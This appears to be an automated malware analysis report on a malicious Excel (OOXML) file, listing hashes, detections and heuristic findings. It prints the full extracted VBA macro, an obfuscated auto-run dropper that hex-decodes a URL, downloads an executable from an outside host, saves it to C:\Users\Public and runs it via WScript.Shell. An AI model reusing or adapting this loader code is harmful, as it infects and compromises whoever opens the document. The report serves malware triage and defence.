Office (OOXML) malware analysis — malicious · 4c5ded319ccb28f5

MALICIOUS

Office (OOXML)

268.0 KB First seen: 2020-09-07

MD5: 2dc23ef5000e75b074807015fd247e28 SHA-1: de2e36c2e61d72d55e28e61d1adc13809eba6fb9 SHA-256: 4c5ded319ccb28f5fb737cf1dd1cf48c63390f14a10d6869b799a9cbc7e6e8db

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Office document containing obfuscated VBA macros. The Workbook_Open subroutine is triggered upon opening, which then calls a custom decoder function. This function decodes a URL and uses CreateObject to download and save an executable file from that URL, which is then likely executed. The decoded URL is 'http://smarting.rs/wp-content/Discrimidinably.exe'. This behavior is consistent with a macro-based dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt.write zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6626 bytes
SHA-256: `8846af07dd6303e4014552f42e4b5616aa73a32b8605d2a89170ebb6e8de4440`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select smwxymqkimgsrhtyftgdoflzsttkfjtfuonqikdxwbmanmoihcczcfpmaxefsgeysbyducquqjhmtlmgekcdhudpzapkgxepwohl"68 74 74 70 3A 2F 2F 73 6D 61 72 74 69 6E 67 2E 72 73 2F 77 70 2D 63 6F 6E 74 65 6E 74 2F 44 69 73 63 72 69 6D 69 6E 61 62 6C 79 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub smwxymqkimgsrhtyftgdoflzsttkfjtfuonqikdxwbmanmoihcczcfpmaxefsgeysbyducquqjhmtlmgekcdhudpzapkgxepwohl (fyaonpaligdpraxistjffcgbdfcofbqejrjeiszjaoummfycaqderundsykimlghqzgzrtzzuaeritpxgaopxlnpeglkhrwoimwm As String) Dim zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn Range("A6:J13").Select Dim jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt Range("A6:J13").Select Dim kwjqzxxazhycbaknuudkpnnunhrqvqcjzkuyvtnjvnowbcmlosrdaddwipdrfgeiepcqfmragtoczrslvfcdzzivhxqgqwdoifrm Range("A6:J13").Select Set zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set kwjqzxxazhycbaknuudkpnnunhrqvqcjzkuyvtnjvnowbcmlosrdaddwipdrfgeiepcqfmragtoczrslvfcdzzivhxqgqwdoifrm = CreateObject(olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) nsundwsejbqhltmlrikxwvtmjlisiwupgdzxklelclzyklvvpxpjudqsyhdsoawmgaaitoagdzvlvucypmckhludmgydhmwcomrj = olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww(fyaonpaligdpraxistjffcgbdfcofbqejrjeiszjaoummfycaqderundsykimlghqzgzrtzzuaeritpxgaopxlnpeglkhrwoimwm) kncbwifvieweefccxlevgxwmqxyqdsxjctockbnzgzvhkuyckuediwdnrpkzjorphnblqzrwxfpgbocwzwgioubgpbluqoprhgzw = olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6D 76 77 69 6E 66 68 74 72 2e 65 78 65") tmlkcifchwlcmoanijbnmuwpowfjpyyvpgdmkvfgoyztpiicociyeljyqwwfcvmjxqnglncndvyovdafocvnpaqdwevozadtlqvy = olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6D 76 77 69 6E 66 68 74 72 2e 65 78 65") zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn.Open chr(71) + chr(69) + chr(84), nsundwsejbqhltmlrikxwvtmjlisiwupgdzxklelclzyklvvpxpjudqsyhdsoawmgaaitoagdzvlvucypmckhludmgydhmwcomrj, False zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn.send jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt.Type = 1 jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt.Open jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt.write zzlhqdjqpvuzjnbmxqjemqvkhpscdqjvwcyhphyucwaimmauqkqrdsaidazblhnymycgpuwqrpcpqmyuoxmszrsdcpdohxiuibwn.responseBody jufvnaanqksrbenouuzufzeaqhiughhpplkusqeyremrwlndjuanbchkpeffsfgjddbqtsvdqbcamndeufkmgtnndzenlzfmxdnt.savetofile kncbwifvieweefccxlevgxwmqxyqdsxjctockbnzgzvhkuyckuediwdnrpkzjorphnblqzrwxfpgbocwzwgioubgpbluqoprhgzw, 2 kwjqzxxazhycbaknuudkpnnunhrqvqcjzkuyvtnjvnowbcmlosrdaddwipdrfgeiepcqfmragtoczrslvfcdzzivhxqgqwdoifrm.Run tmlkcifchwlcmoanijbnmuwpowfjpyyvpgdmkvfgoyztpiicociyeljyqwwfcvmjxqnglncndvyovdafocvnpaqdwevozadtlqvy End Sub Public Function olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww(ByVal zvfbaqwgoaxqwrvzdbjeggjiwkkkqzutzglazadiccghzzkzadlgwnfslxfpglppferqfvzdyabdzciwalknoowmatocuncqnrbv As String) As String Dim ittedhivlbsjpiovbcbqhepmgxikykqianohrfjggbbzafmlzgpkqlndegxgzxxakkibuhdwtukgcqlbkwlrvgspzlclhdhieboq As String Dim wkrrdtrwahbnuwvdmfeestcjeropnbcbcvezetncpvpsjprlhdwyxjydiinlebiyezlzrvysrbpwdjzpacijfdeswaqwfbxnnqnk As String Dim dstleegvucazjylbtztavscrfcmpebjnvplijwebxiyuarmhqvunxnokpcgcrqrstmduncsxusdmuiqnpfzihvpiaashpcjgrfbn As Long For dstleegvucazjylbtztavscrfcmpebjnvplijwebxiyuarmhqvunxnokpcgcrqrstmduncsxusdmuiqnpfzihvpiaashpcjgrfbn = 1 To Len(zvfbaqwgoaxqwrvzdbjeggjiwkkkqzutzglazadiccghzzkzadlgwnfslxfpglppferqfvzdyabdzciwalknoowmatocuncqnrbv)Step 3 ittedhivlbsjpiovbcbqhepmgxikykqianohrfjggbbzafmlzgpkqlndegxgzxxakkibuhdwtukgcqlbkwlrvgspzlclhdhieboq = Chr$(Val("&H" & Mid$(zvfbaqwgoaxqwrvzdbjeggjiwkkkqzutzglazadiccghzzkzadlgwnfslxfpglppferqfvzdyabdzciwalknoowmatocuncqnrbv, dstleegvucazjylbtztavscrfcmpebjnvplijwebxiyuarmhqvunxnokpcgcrqrstmduncsxusdmuiqnpfzihvpiaashpcjgrfbn, 2))) wkrrdtrwahbnuwvdmfeestcjeropnbcbcvezetncpvpsjprlhdwyxjydiinlebiyezlzrvysrbpwdjzpacijfdeswaqwfbxnnqnk = wkrrdtrwahbnuwvdmfeestcjeropnbcbcvezetncpvpsjprlhdwyxjydiinlebiyezlzrvysrbpwdjzpacijfdeswaqwfbxnnqnk & ittedhivlbsjpiovbcbqhepmgxikykqianohrfjggbbzafmlzgpkqlndegxgzxxakkibuhdwtukgcqlbkwlrvgspzlclhdhieboq Next dstleegvucazjylbtztavscrfcmpebjnvplijwebxiyuarmhqvunxnokpcgcrqrstmduncsxusdmuiqnpfzihvpiaashpcjgrfbn olnelhjsxctplybidbryyjdtmgoserqfdarsxyrzlkrxhazhww = wkrrdtrwahbnuwvdmfeestcjeropnbcbcvezetncpvpsjprlhdwyxjydiinlebiyezlzrvysrbpwdjzpacijfdeswaqwfbxnnqnk End Function Attribute VB_Name = "vbraavvjnvdnvqrzaztxzjkgs" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `92b3c0a0bb30a37a88495518c43d2936332c0402a19373ba17b9bce7cc959ec4`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 128 of 221 identifiers look randomly generated (e.g. 'vbraavvjnvdnvqrzaztxzjkgs') — consistent with name-mangling obfuscation.

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